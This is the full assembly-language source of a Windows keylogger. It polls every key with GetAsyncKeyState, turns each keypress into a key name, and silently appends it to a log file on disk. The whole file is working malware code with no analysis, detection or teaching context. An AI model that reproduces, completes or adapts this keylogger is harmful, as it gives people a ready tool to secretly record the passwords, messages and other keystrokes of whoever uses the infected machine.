keylogger.asm:
.386
.MODEL FLAT, STDCALL
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
.data
log db "C:\Users\c0d3_\Desktop\ShellcodeMsgBox\oi.txt",0
buffer db 100h dup (?)
bytes_escritos dd 0
.code
start:
mov esi, 7
mov eax, 1
push eax
call Sleep
jmp ini
ini:
cmp esi, 255
je start
inc esi
push esi
call GetAsyncKeyState
cmp eax, 0
jnz loger
jmp ini
loger:
push 0
push esi
call MapVirtualKey
shl eax,16
mov edi, 100h
push edi
push OFFSET buffer
push eax
call GetKeyNameText
push 0
push FILE_ATTRIBUTE_ARCHIVE
push OPEN_ALWAYS
push 0
push 0
push GENERIC_WRITE
push OFFSET log
call CreateFile
cmp eax,0
je exit
mov ebx,eax
push FILE_END
push 0
push 0
push ebx
call SetFilePointer
push OFFSET buffer
call lstrlen
push 0
push bytes_escritos
push eax
push OFFSET buffer
push ebx
call WriteFile
mov edi, 100
push edi
call Sleep
push ebx
call CloseHandle
xor edi,edi
jmp ini
exit:
call ExitProcess
end start
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